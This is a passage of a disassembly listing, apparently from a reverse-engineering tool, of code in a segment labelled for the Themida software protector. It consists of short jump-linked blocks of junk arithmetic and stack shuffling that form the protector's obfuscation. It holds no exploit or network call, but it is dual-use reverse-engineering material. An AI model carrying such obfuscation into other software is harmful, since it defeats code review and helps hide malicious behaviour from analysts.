		add	edx, edi
		pop	edi
		push	edx
		jmp	loc_56C8E3
; ---------------------------------------------------------------------------


loc_56A791:				; CODE XREF: Themida_:00569256j
		shl	ah, 7
		and	ah, 83h
		jmp	loc_56B6BA
; ---------------------------------------------------------------------------


loc_56A79C:				; CODE XREF: Themida_:00564F2Fj
		sub	[esp+8], ebx
		jmp	loc_56E6F1
; ---------------------------------------------------------------------------


loc_56A7A5:				; CODE XREF: Themida_:00573B1Fj
		mov	ebp, 46314735h
		add	[esp+4], ebp
		push	dword ptr [esp]
		pop	ebp
		push	6710h
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], esp
		jmp	loc_56D154
; ---------------------------------------------------------------------------


loc_56A7C8:				; CODE XREF: Themida_:00564615j
		add	esp, 4
		shl	ch, 6
		jmp	loc_57224B
; ---------------------------------------------------------------------------


loc_56A7D3:				; CODE XREF: Themida_:005649EBj
		mov	esi, 95F5CA5h
		or	esi, 3D31060Bh
		push	ebp
		mov	ebp, 7FC0769Ch
		shr	ebp, 6
		dec	ebp
		jmp	loc_560190
; ---------------------------------------------------------------------------


loc_56A7ED:				; CODE XREF: Themida_:005671A7j
		push	ebx
		mov	ebx, 26871E1Dh
		push	ecx
		jmp	loc_564E86
; ---------------------------------------------------------------------------


loc_56A7F9:				; CODE XREF: Themida_:00571FD0j
		mov	[esp], dx
		mov	dl, 0D0h
		sub	[esp+2], dl
		jmp	loc_560001
; ---------------------------------------------------------------------------


loc_56A808:				; CODE XREF: Themida_:0056333Ej
		shr	ebp, 8
		jmp	loc_561E80
; ---------------------------------------------------------------------------


loc_56A810:				; CODE XREF: Themida_:0056451Bj
		add	al, cl
		pop	ecx
		jmp	loc_5660D8
; ---------------------------------------------------------------------------


loc_56A818:				; CODE XREF: Themida_:0056BB3Ej
		mov	eax, 35BB4000h
		or	ebx, eax
		pop	eax
		jmp	loc_566BA1
; ---------------------------------------------------------------------------


loc_56A825:				; CODE XREF: Themida_:0056DF4Dj
		not	esi
		and	esi, 2C27E89h
		dec	esi
		push	edx
		mov	edx, 7BA702CAh
		add	esi, edx
		push	dword ptr [esp]
		pop	edx
		push	eax
		jmp	loc_56E4D4
; ---------------------------------------------------------------------------


loc_56A840:				; CODE XREF: Themida_:00568C42j
		add	esp, 4
		xor	ebx, [esp]
		jmp	loc_568E73
; ---------------------------------------------------------------------------


loc_56A84E:				; CODE XREF: Themida_:0056F7ECj
		push	ecx
		mov	ecx, 7B0D296Ch
		shl	ecx, 7
		jmp	loc_569819
; ---------------------------------------------------------------------------


loc_56A85C:				; CODE XREF: Themida_:005700D1j
		sub	esi, 0C6DA7AC1h
		add	edx, esi
		jmp	loc_56F8DE
; ---------------------------------------------------------------------------


loc_56A869:				; CODE XREF: Themida_:00569D5Aj
		mov	edx, 784F3749h
		shl	edx, 8
		jmp	loc_567A54
; ---------------------------------------------------------------------------


loc_56A876:				; CODE XREF: Themida_:00574096j
		mov	edi, 5F7961F3h
		sub	esp, 4
		jmp	loc_567D6A
; ---------------------------------------------------------------------------


loc_56A886:				; CODE XREF: Themida_:005662F0j
		mov	[esp], eax
		mov	eax, 20h
		jmp	loc_55FB25
; ---------------------------------------------------------------------------


loc_56A893:				; CODE XREF: Themida_:00565280j
		pop	eax
		shr	ebp, 4
		jmp	loc_5698DC
; ---------------------------------------------------------------------------
		lodsd
		xor	eax, ebx
		push	esi
		mov	esi, esp
		push	ebp
		jmp	loc_572DB1
; ---------------------------------------------------------------------------


loc_56A8A8:				; CODE XREF: Themida_:0056AA4Bj
		pop	esi
		xor	ebx, 0FEFEFD0Eh
		sub	edi, 631A08F1h
		add	edi, ebx
		add	edi, 631A08F1h
		mov	ebx, [esp]
		jmp	loc_56EE7A
; ---------------------------------------------------------------------------


loc_56A8C5:				; CODE XREF: Themida_:00571EDCj
		dec	al
		xor	al, 1Bh
		add	bl, 0BAh
		add	bl, al
		sub	bl, 0BAh
		pop	eax
		sub	al, 6Eh
		jmp	loc_568827
; ---------------------------------------------------------------------------


loc_56A8D9:				; CODE XREF: Themida_:00571D62j
		add	bl, dl
		jmp	loc_560596
; ---------------------------------------------------------------------------


loc_56A8E0:				; CODE XREF: Themida_:005719BDj
		push	ecx
		push	edi
		push	6C487142h
		pop	edi
		sub	edi, 255F6413h
		push	edi
		jmp	loc_56F1D1
; ---------------------------------------------------------------------------


loc_56A8F4:				; CODE XREF: Themida_:0057379Ej
		pop	esp
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_56A8FA:				; CODE XREF: Themida_:00568426j
		mov	edi, ebx
		push	10BEh
		mov	[esp], edi
		jmp	loc_56DBFE
; ---------------------------------------------------------------------------


loc_56A909:				; CODE XREF: Themida_:00569574j
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		jmp	loc_56C99C
; ---------------------------------------------------------------------------


loc_56A91F:				; CODE XREF: Themida_:0056BECEj
		mov	eax, esp
		jmp	loc_56E8F0
; ---------------------------------------------------------------------------


loc_56A926:				; CODE XREF: Themida_:00566553j
		add	edx, edi
		pop	edi
		add	edx, edi
		sub	edx, 0AE82BDDh
		mov	edi, [esp]
		push	ebx
		push	esp
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_5747B9
; ---------------------------------------------------------------------------


loc_56A93F:				; CODE XREF: Themida_:00566A2Aj
		xor	edx, 20664F09h
		xor	esi, edx
		pop	edx
		and	esi, 4FDA51F0h
		jmp	loc_5656AE
; ---------------------------------------------------------------------------


loc_56A953:				; CODE XREF: Themida_:005730E2j
		shr	ecx, 6
		push	2139h
		jmp	loc_570CDB
; ---------------------------------------------------------------------------


loc_56A960:				; CODE XREF: Themida_:00567180j
		add	[esp+8], ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_56E47D
; ---------------------------------------------------------------------------


loc_56A96F:				; CODE XREF: Themida_:0056CB6Cj
		pop	edi
		mov	edx, ebx
		jmp	loc_5602EB
; ---------------------------------------------------------------------------


loc_56A977:				; CODE XREF: Themida_:0056E478j
		sub	edx, 27C5314Bh
		jmp	loc_5712B5
; ---------------------------------------------------------------------------


loc_56A982:				; CODE XREF: Themida_:0056FB85j
		pop	ebp
		and	ebx, edx
		pop	edx
		sub	ebx, 0CA0918h
		push	1601h
		mov	[esp], eax
		mov	eax, 64CD0D55h
		jmp	loc_563349
; ---------------------------------------------------------------------------


loc_56A99E:				; CODE XREF: Themida_:00572B90j
		add	esp, 4
		push	ecx
		jmp	loc_562319
; ---------------------------------------------------------------------------


loc_56A9AA:				; CODE XREF: Themida_:005738E5j
		and	ebx, 220634AAh
		push	esi
		mov	esi, 1F4235F5h
		xor	esi, 61D1445h
		dec	esi
		sub	esi, 57F13026h
		xor	esi, 41666649h
		shl	esi, 3
		add	esi, 559D3900h
		jmp	loc_55F7A9
; ---------------------------------------------------------------------------


loc_56A9D7:				; CODE XREF: Themida_:00572F0Cj
		pop	edx
		sub	ebx, 2BF205C2h
		push	ecx
		mov	ecx, 2C9470Ch
		add	ebx, 49432E6Fh
		sub	ebx, ecx
		sub	ebx, 49432E6Fh
		pop	ecx
		add	ebx, ebp
		add	ebx, 2C9470Ch
		add	ebx, 2BF205C2h
		pop	ebp
		jmp	loc_56E518
; ---------------------------------------------------------------------------


loc_56AA07:				; CODE XREF: Themida_:0056F1F7j
		mov	[esp], ecx
		push	edi
		push	36D6h
		mov	[esp], edx
		push	11A02777h
		pop	edx
		and	edx, 1B803546h
		neg	edx
		sub	edx, 0A600A1D4h
		mov	edi, edx
		pop	edx
		mov	ecx, 2F192C1Ch
		xor	ecx, edi
		jmp	loc_565C67
; ---------------------------------------------------------------------------


loc_56AA36:				; CODE XREF: Themida_:00568A17j
		xor	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		push	esi
		mov	esi, 0
		sub	esi, ebx
		xchg	esi, ebx
		jmp	loc_56A8A8
; ---------------------------------------------------------------------------


loc_56AA50:				; CODE XREF: Themida_:0056C323j
		xor	edi, edx
		pop	edx
		jmp	loc_569040
; ---------------------------------------------------------------------------


loc_56AA58:				; CODE XREF: Themida_:00562BE7j
		push	edx
		jmp	loc_56D7E0
; ---------------------------------------------------------------------------


loc_56AA5E:				; CODE XREF: Themida_:0056B315j
		push	ecx
		jmp	loc_5608ED
; ---------------------------------------------------------------------------


loc_56AA64:				; CODE XREF: Themida_:00573097j
		pop	esi
		sub	eax, 21210C81h
		add	eax, ecx
		add	eax, 21210C81h
		jmp	loc_5729D6
; ---------------------------------------------------------------------------
		mov	edx, [esp]
		push	4969h
		mov	[esp], ecx
		push	esp
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_569035
; ---------------------------------------------------------------------------


loc_56AA8B:				; CODE XREF: Themida_:00571FE3j
		xchg	ecx, [esp]
		pop	esp
		push	esi
		mov	esi, esp
		add	esi, 4
		push	1F6Fh
		mov	[esp], ecx
		mov	ecx, 71540BF8h
		or	ecx, 0AE613C6h
		inc	ecx
		xor	ecx, 7BF61BFBh
		sub	esi, ecx
		pop	ecx
		jmp	loc_573D3E
; ---------------------------------------------------------------------------


loc_56AABA:				; CODE XREF: Themida_:005656CCj
		mov	[esp], edx
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_563D27
; ---------------------------------------------------------------------------


loc_56AAD6:				; CODE XREF: Themida_:0056F785j
		and	ebx, edi
		jmp	loc_560F4F
; ---------------------------------------------------------------------------


loc_56AADD:				; CODE XREF: Themida_:00565471j
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_567509
; ---------------------------------------------------------------------------


loc_56AAE8:				; CODE XREF: Themida_:00561C4Cj
		mov	edi, [esp]
		jmp	loc_56D4CD
; ---------------------------------------------------------------------------


loc_56AAF0:				; CODE XREF: Themida_:00572621j
		shl	esi, 8
		add	esi, 0FFFFFFFFh
		add	esi, 2CFE11E7h
		jmp	loc_5727A2
; ---------------------------------------------------------------------------


loc_56AB01:				; CODE XREF: Themida_:00573343j
		pop	ecx
		add	ecx, 4
		jmp	loc_5626CB
; ---------------------------------------------------------------------------


loc_56AB0D:				; CODE XREF: Themida_:0056C83Bj
		pop	ecx
		add	edx, eax
		jmp	loc_568CE5
; ---------------------------------------------------------------------------


loc_56AB15:				; CODE XREF: Themida_:005707E3j
		pop	esp
		push	ecx
		not	dword ptr [esp]
		jmp	loc_571F5A
; ---------------------------------------------------------------------------


loc_56AB1F:				; CODE XREF: Themida_:005703A7j
		add	edi, ebp
		jmp	loc_56FF1F
; ---------------------------------------------------------------------------


loc_56AB26:				; CODE XREF: Themida_:00569881j
		mov	[esp], edi
		push	eax
		mov	eax, 4
		mov	edi, eax
		pop	eax
		add	ebp, 78001722h
		push	edx
		mov	edx, 164276EFh
		sub	ebp, edx
		pop	edx
		add	ebp, edi
		jmp	loc_569BEE
; ---------------------------------------------------------------------------


loc_56AB48:				; CODE XREF: Themida_:0056F08Fj
		sub	eax, 33D23C71h
		mov	esi, [esp]
		add	esp, 4
		push	edi
		push	ecx
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 163D7D99h
		jmp	loc_569DED
; ---------------------------------------------------------------------------


loc_56AB68:				; CODE XREF: Themida_:0056D86Aj
		mov	eax, 37E3171Ch
		shr	eax, 5
		jmp	loc_567469
; ---------------------------------------------------------------------------


loc_56AB75:				; CODE XREF: Themida_:0056EC78j
		mov	esi, [esp]
		jmp	loc_56E001
; ---------------------------------------------------------------------------


loc_56AB7D:				; CODE XREF: Themida_:00569DB0j
		mov	ebp, esp
		push	4E4Dh
		mov	[esp], edi
		mov	edi, 3FC05711h
		shl	edi, 2
		neg	edi
		push	ecx
		mov	ecx, 3FF75A85h
		sub	ecx, 1AB32856h
		xor	ecx, 2F770481h
		and	edi, ecx
		pop	ecx
		sub	edi, 3222A8h
		sub	ebp, 5F680822h
		add	ebp, edi
		push	4FC4h
		mov	[esp], eax
		mov	eax, 5F680822h
		push	edx
		mov	edx, 6B93472h
		dec	edx
		sub	edx, 0F9FF073Eh
		add	ebp, edx
		jmp	loc_573D68
; ---------------------------------------------------------------------------


loc_56ABD5:				; CODE XREF: Themida_:005640A4j
		dec	ch
		jmp	loc_56250F
; ---------------------------------------------------------------------------


loc_56ABDC:				; CODE XREF: Themida_:005651FAj
		pop	ebx
		add	esp, 4
		add	ebx, 4
		push	esi
		jmp	loc_5615EE
; ---------------------------------------------------------------------------


loc_56ABEF:				; CODE XREF: Themida_:00562B8Bj
		neg	ebp
		shl	ebp, 5
		and	ebp, 212A4E83h
		sub	ebp, 20586007h
		add	eax, ebp
		mov	ebp, [esp]
		push	eax
		jmp	loc_572CFD
; ---------------------------------------------------------------------------


loc_56AC0B:				; CODE XREF: Themida_:00567E98j
		push	ebx
		mov	bl, ch
		mov	al, bl
		pop	ebx
		mov	ecx, [esp]
		add	esp, 4
		sub	bl, al
		pop	eax
		add	bl, 0E4h
		add	bl, 26h
		push	4D05h
		mov	[esp], eax
		push	ecx
		mov	ch, 14h
		mov	al, ch
		pop	ecx
		jmp	loc_56CF2B
; ---------------------------------------------------------------------------


loc_56AC36:				; CODE XREF: Themida_:00573C0Dj
		add	esp, 4
		shr	ecx, 3
		neg	ecx
		jmp	loc_55FBA7
; ---------------------------------------------------------------------------


loc_56AC46:				; CODE XREF: Themida_:00571C47j
		not	esi
		sub	esi, 30304579h
		xor	esi, 0ADD0B5E3h
		jmp	loc_56DF21
; ---------------------------------------------------------------------------


loc_56AC59:				; CODE XREF: Themida_:0056C566j
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		or	edx, eax
		shl	edx, 1
		push	ecx
		push	0FFFFFFFFh
		mov	ecx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ebp
		push	esp
		mov	ebp, [esp]
		push	esi
		mov	esi, esp
		jmp	loc_55FDDE
; ---------------------------------------------------------------------------


loc_56AC8F:				; CODE XREF: Themida_:0055FA27j
		pop	ebx
		mov	edi, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_570FB7
; ---------------------------------------------------------------------------


loc_56ACA7:				; CODE XREF: Themida_:0056B48Bj
		mov	[esp], eax
		mov	eax, 4
		jmp	loc_55FFD0
; ---------------------------------------------------------------------------


loc_56ACB4:				; CODE XREF: Themida_:005690C7j
		and	esi, 726F6725h
		jmp	loc_564B68
; ---------------------------------------------------------------------------


loc_56ACBF:				; CODE XREF: Themida_:00572393j
		xor	edx, 67FE27A3h
		shr	edx, 5
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 60790868h
		jmp	loc_573E94
; ---------------------------------------------------------------------------


loc_56ACD8:				; CODE XREF: Themida_:005730BAj
		push	edx
		sub	esp, 4
		jmp	loc_56E20F
; ---------------------------------------------------------------------------


loc_56ACE4:				; CODE XREF: Themida_:005626B6j
		dec	ebp
		jmp	loc_56B29E
; ---------------------------------------------------------------------------


loc_56ACEA:				; CODE XREF: Themida_:0056C39Aj
		add	esi, ecx
		pop	ecx
		jmp	loc_56F4C3
; ---------------------------------------------------------------------------


loc_56ACF2:				; CODE XREF: Themida_:00563CC2j
		push	5000h
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_569982
; ---------------------------------------------------------------------------


loc_56AD08:				; CODE XREF: Themida_:005713F8j
		add	ebp, 3892EB43h
		mov	edx, ebp
		jmp	loc_56F4DC
; ---------------------------------------------------------------------------


loc_56AD15:				; CODE XREF: Themida_:0055FE34j
		push	162A75CFh
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_5645BC
; ---------------------------------------------------------------------------


loc_56AD23:				; CODE XREF: Themida_:0055FAE4j
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_561BD4
; ---------------------------------------------------------------------------


loc_56AD2E:				; CODE XREF: Themida_:005682F7j
		pop	esp
		push	eax
		xor	dword ptr [esp], 76347041h
		pop	ebx
		xor	ebx, 76347041h
		mov	eax, [esp]
		add	esp, 4
		sub	esi, 0FD4856h
		sub	esi, 7DA7B49h
		add	esi, ebx
		add	esi, 7DA7B49h
		add	esi, 0FD4856h
		pop	ebx
		push	ebx
		jmp	loc_56AFAA
; ---------------------------------------------------------------------------


loc_56AD65:				; CODE XREF: Themida_:005632A1j
		push	eax
		mov	eax, 0
		add	eax, ebx
		jmp	loc_56F13B
; ---------------------------------------------------------------------------


loc_56AD72:				; CODE XREF: Themida_:0056E76Ej
		add	ebx, 1AF5175Eh
		sub	ebx, 798445Fh
		sub	esp, 4
		mov	[esp], esi
		push	edi
		push	ebp
		mov	ebp, 3D6F1107h
		mov	edi, ebp
		pop	ebp
		shr	edi, 8
		shl	edi, 4
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_5652BF
; ---------------------------------------------------------------------------


loc_56ADA5:				; CODE XREF: Themida_:0055F858j
		mov	[esp], eax
		push	46071F45h
		jmp	loc_5676F2
; ---------------------------------------------------------------------------


loc_56ADB2:				; CODE XREF: Themida_:0057009Dj
		sub	bl, 0D3h
		jmp	loc_5678C2
; ---------------------------------------------------------------------------


loc_56ADBA:				; CODE XREF: Themida_:0056052Ej
		mov	edi, 1DB024C5h
		or	ebp, edi
		pop	edi
		push	6F57h
		mov	[esp], edx
		jmp	loc_56577A
; ---------------------------------------------------------------------------


loc_56ADCF:				; CODE XREF: Themida_:00565EDFj
		mov	ebp, 77CA01B4h
		add	eax, ebp
		pop	ebp
		push	ecx
		jmp	loc_565A5A
; ---------------------------------------------------------------------------


loc_56ADDD:				; CODE XREF: Themida_:00565E7Aj
		push	ebx
		mov	ebx, 2
		add	ebp, 222407A3h
		add	ebp, ebx
		sub	ebp, 222407A3h
		pop	ebx
		push	60F9h
		mov	[esp], ebp
		jmp	loc_56435E
; ---------------------------------------------------------------------------


loc_56ADFF:				; CODE XREF: Themida_:0056338Bj
		xor	ebp, [esp]
		jmp	loc_5662AD
; ---------------------------------------------------------------------------


loc_56AE07:				; CODE XREF: Themida_:0056F226j
		mov	edx, esi
		pop	esi
		shr	edx, 8
		not	edx
		jmp	loc_56C82A
; ---------------------------------------------------------------------------


loc_56AE14:				; CODE XREF: Themida_:00570168j
		sub	esp, 4
		jmp	loc_56DC2C
; ---------------------------------------------------------------------------


loc_56AE1C:				; CODE XREF: Themida_:00560141j
		inc	esi
		push	edx
		jmp	loc_56EF44
; ---------------------------------------------------------------------------


loc_56AE23:				; CODE XREF: Themida_:005714E2j
		sub	al, bh
		pop	ebx
		push	ecx
		jmp	loc_5636A1
; ---------------------------------------------------------------------------


loc_56AE2C:				; CODE XREF: Themida_:00568AF5j
		add	esp, 4
		push	esi
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 564F0DF6h
		shr	ecx, 3
		sub	ecx, 1
		add	ecx, 25B18771h
		mov	esi, ecx
		pop	ecx
		jmp	loc_572522
; ---------------------------------------------------------------------------


loc_56AE55:				; CODE XREF: Themida_:0056DBC4j
		xor	edi, ebp
		pop	ebp
		sub	edx, edi
		jmp	loc_56E208
; ---------------------------------------------------------------------------


loc_56AE5F:				; CODE XREF: Themida_:0056907Cj
		push	4CAEh
		jmp	loc_56E6A4
; ---------------------------------------------------------------------------


loc_56AE69:				; CODE XREF: Themida_:005611A8j
		push	esi
		jmp	loc_56B56F
; ---------------------------------------------------------------------------


loc_56AE6F:				; CODE XREF: Themida_:0055F659j
		push	ebx
		mov	ebx, 54E42512h
		add	edx, ebx
		pop	ebx
		jmp	loc_560A6C
; ---------------------------------------------------------------------------


loc_56AE7D:				; CODE XREF: Themida_:0056F0FAj
		mov	esi, 586A386Eh
		add	ebp, esi
		pop	esi
		sub	ebp, 0FFFFFFFFh
		sub	ebp, 5B2D71EEh
		add	ebp, 1E7F8B3h
		add	ebx, ebp
		pop	ebp
		jmp	loc_56B1D4
; ---------------------------------------------------------------------------


loc_56AE9F:				; CODE XREF: Themida_:005678FCj
		add	esi, 1
		add	esi, 393B4E81h
		sub	esi, 9F899511h
		mov	edi, esi
		jmp	loc_56F021
; ---------------------------------------------------------------------------


loc_56AEB8:				; CODE XREF: Themida_:00573806j
		shr	esi, 5
		push	esi
		jmp	loc_566C38
; ---------------------------------------------------------------------------


loc_56AEC1:				; CODE XREF: Themida_:00561BC6j
		pop	edi
		sub	ecx, 0A1E927F0h
		add	eax, ecx
		mov	ecx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		mov	edx, 4
		add	eax, 51FF7258h
		push	ebx
		mov	ebx, 59195E85h
		inc	ebx
		xor	ebx, 612D6A96h
		jmp	loc_572539
; ---------------------------------------------------------------------------


loc_56AF11:				; CODE XREF: Themida_:0056C3D6j
		xor	ebp, edx
		pop	edx
		jmp	loc_5613FE
; ---------------------------------------------------------------------------


loc_56AF19:				; CODE XREF: Themida_:0056B2E3j
		push	edi
		mov	edi, 437A1CBEh
		inc	edi
		sub	edi, 1D871D95h
		shl	edi, 1
		shr	edi, 6
		jmp	loc_561452
; ---------------------------------------------------------------------------


loc_56AF30:				; CODE XREF: Themida_:0056385Aj
		push	esi
		jmp	loc_562070
; ---------------------------------------------------------------------------


loc_56AF36:				; CODE XREF: Themida_:00565C6Aj
		pop	ecx
		sub	edi, eax
		pop	eax
		add	ecx, edi
		pop	edi
		add	ecx, 4
		jmp	loc_567F4F
; ---------------------------------------------------------------------------


loc_56AF48:				; CODE XREF: Themida_:00573366j
		mov	ebx, 4
		add	eax, ebx
		pop	ebx
		add	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		jmp	loc_567F32
; ---------------------------------------------------------------------------


loc_56AF63:				; CODE XREF: Themida_:00565015j
		push	0D3Ah
		mov	[esp], eax
		sub	esp, 4
		jmp	loc_567139
; ---------------------------------------------------------------------------


loc_56AF73:				; CODE XREF: Themida_:0056C082j
		push	62D825A8h
		mov	ebp, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 5DAFD3A0h
		jmp	loc_572442
; ---------------------------------------------------------------------------


loc_56AF8C:				; CODE XREF: Themida_:00567DBAj
		xchg	edx, [esp]
		pop	esp
		sub	esp, 4
		jmp	loc_56F2CE
; ---------------------------------------------------------------------------


loc_56AF98:				; CODE XREF: Themida_:0057403Fj
		mov	ecx, [esp]
		add	esp, 4
		add	al, bl
		pop	bx
		jmp	loc_573690
; ---------------------------------------------------------------------------


loc_56AFAA:				; CODE XREF: Themida_:0056AD60j
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_573B11
; ---------------------------------------------------------------------------


loc_56AFB7:				; CODE XREF: Themida_:0056CBE6j
		add	ebx, 0FF7A0014h
		jmp	loc_564C7C
; ---------------------------------------------------------------------------


loc_56AFC2:				; CODE XREF: Themida_:005720CEj
		add	eax, ebx
		add	eax, 7BFE3548h
		mov	ebx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_566E12
; ---------------------------------------------------------------------------


loc_56AFDA:				; CODE XREF: Themida_:0056176Dj
		pop	ecx
		push	49A1h
		mov	[esp], esi
		push	dword ptr [esp+4]
		jmp	loc_571C94
; ---------------------------------------------------------------------------


loc_56AFEC:				; CODE XREF: Themida_:00572880j
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_569C7E
; ---------------------------------------------------------------------------


loc_56B00A:				; CODE XREF: Themida_:0056EE68j
		not	ecx
		add	ecx, 82A62C6Bh
		mov	ebp, ecx
		pop	ecx
		xor	[esp+4], ebp
		mov	ebp, [esp]
		jmp	loc_564567
; ---------------------------------------------------------------------------


loc_56B021:				; CODE XREF: Themida_:00568BA6j
		xor	edx, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		mov	edx, 7EA56BA1h
		xor	eax, edx
		pop	edx
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_56DAD5
; ---------------------------------------------------------------------------


loc_56B03D:				; CODE XREF: Themida_:00572C43j
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		jmp	loc_565E79
; ---------------------------------------------------------------------------


loc_56B04B:				; CODE XREF: Themida_:0056B796j
		push	edx
		mov	edx, 0E69A4EF7h
		jmp	loc_565B46
; ---------------------------------------------------------------------------


loc_56B056:				; CODE XREF: Themida_:00572EE4j
		xor	esi, ebp
		xor	ebp, esi
		xor	esi, ebp
		xor	esi, 1B0A1A66h
		dec	esi
		add	esi, 490761E8h
		push	edx
		push	eax
		jmp	loc_574239
; ---------------------------------------------------------------------------


loc_56B070:				; CODE XREF: Themida_:0055F9B2j
		shl	ebx, 2
		jmp	loc_5671CE
; ---------------------------------------------------------------------------


loc_56B078:				; CODE XREF: Themida_:0056B7F2j
		mov	edi, 4
		add	ecx, edi
		pop	edi
		xchg	ecx, [esp]
		pop	esp
		add	ebx, 4
		push	esi
		sub	esp, 4
		mov	[esp], ecx
		push	12E80CE3h
		pop	ecx
		jmp	loc_571CE5
; ---------------------------------------------------------------------------


loc_56B09C:				; CODE XREF: Themida_:005656B4j
		add	ebx, esi
		pop	esi
		sub	esi, 55C059Ah
		add	esi, ebx
		add	esi, 55C059Ah
		pop	ebx
		add	ebx, esi
		pop	esi
		add	ebx, 2
		xchg	ebx, [esp]
		pop	esp
		btr	[esp], ax
		pushf
		jmp	loc_5679C0
; ---------------------------------------------------------------------------


loc_56B0C3:				; CODE XREF: Themida_:005604A0j
		add	edx, esi
		pop	esi
		mov	eax, [edx]
		jmp	loc_571F0A
; ---------------------------------------------------------------------------


loc_56B0CD:				; CODE XREF: Themida_:0056F93Fj
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_56C47E
; ---------------------------------------------------------------------------


loc_56B0DB:				; CODE XREF: Themida_:0056B576j
		pop	esi
		pop	edi
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		jmp	loc_56CBEB
; ---------------------------------------------------------------------------


loc_56B0EC:				; CODE XREF: Themida_:0056841Dj
		add	eax, ebx
		jmp	loc_56CF80
; ---------------------------------------------------------------------------


loc_56B0F3:				; CODE XREF: Themida_:005694F9j
		shl	eax, 1
		neg	eax
		and	eax, 0ADB1B91h
		sub	eax, 0DE778D6Ah
		sub	ebx, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_56889F
; ---------------------------------------------------------------------------


loc_56B10E:				; CODE XREF: Themida_:005678B5j
		sub	bl, dl
		sub	bl, 12h
		jmp	loc_560224
; ---------------------------------------------------------------------------


loc_56B118:				; CODE XREF: Themida_:0056362Fj
		shr	eax, 6
		neg	eax
		sub	eax, 0F412F748h
		mov	edi, eax
		pop	eax
		or	edi, 1C25D4Bh
		xor	edi, 61F82DEFh
		add	eax, 2EC3342h
		sub	eax, edi
		sub	eax, 2EC3342h
		pop	edi
		push	eax
		not	dword ptr [esp]
		pop	eax
		jmp	loc_5654EA
; ---------------------------------------------------------------------------


loc_56B148:				; CODE XREF: Themida_:0056322Ej
		xor	eax, 5ADF203Dh
		add	esi, 4C674700h
		jmp	loc_571DB6
; ---------------------------------------------------------------------------


loc_56B158:				; CODE XREF: Themida_:005737DBj
		add	edx, 3A995B34h
		sub	edx, 6C3A316Ah
		inc	edx
		shr	edx, 5
		jmp	loc_562A87
; ---------------------------------------------------------------------------


loc_56B16D:				; CODE XREF: Themida_:00573151j
		mov	ebp, 532DE37Dh
		add	edi, 648A2184h
		add	edi, ebp
		jmp	loc_56DB0F
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcl	byte ptr [esp],	cl
		pushf
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_56B18E:				; CODE XREF: Themida_:0057103Aj
		pop	esi
		sub	ecx, edx
		pop	edx
		jmp	loc_573002
; ---------------------------------------------------------------------------


loc_56B197:				; CODE XREF: Themida_:00573D42j
		mov	[esp], ebx
		push	0DA5h
		mov	[esp], edx
		push	766Ch
		mov	[esp], ebx
		mov	bl, 0DBh
		jmp	loc_55FDA2
; ---------------------------------------------------------------------------


loc_56B1B1:				; CODE XREF: Themida_:005629EFj
		mov	esp, [esp]
		dec	dword ptr [esp]
		pushf
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_56B1BD:				; CODE XREF: Themida_:0057223Bj
		mov	ebx, 366072C5h
		jmp	loc_560FE6
; ---------------------------------------------------------------------------


loc_56B1C7:				; CODE XREF: Themida_:0056312Fj
		add	esp, 4
		add	ebx, edx
		push	dword ptr [esp]
		jmp	loc_56931C
; ---------------------------------------------------------------------------


loc_56B1D4:				; CODE XREF: Themida_:0056AE9Aj
		add	ebx, 2
		push	2781h
		mov	[esp], ebx
		jmp	loc_571E57
; ---------------------------------------------------------------------------


loc_56B1E7:				; CODE XREF: Themida_:0056F124j
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	[esp], esi
		mov	esi, 19CC0B10h
		mov	ecx, esi
		jmp	loc_560886
; ---------------------------------------------------------------------------


loc_56B20B:				; CODE XREF: Themida_:0056FB0Bj
		add	esp, 4
		sub	edi, 509F201Fh
		push	ecx
		push	esi
		push	1D4A0D54h
		jmp	loc_56F031
; ---------------------------------------------------------------------------


loc_56B220:				; CODE XREF: Themida_:00562CBDj
		mov	edx, 2
		sub	ebx, edx
		jmp	loc_56C433
; ---------------------------------------------------------------------------


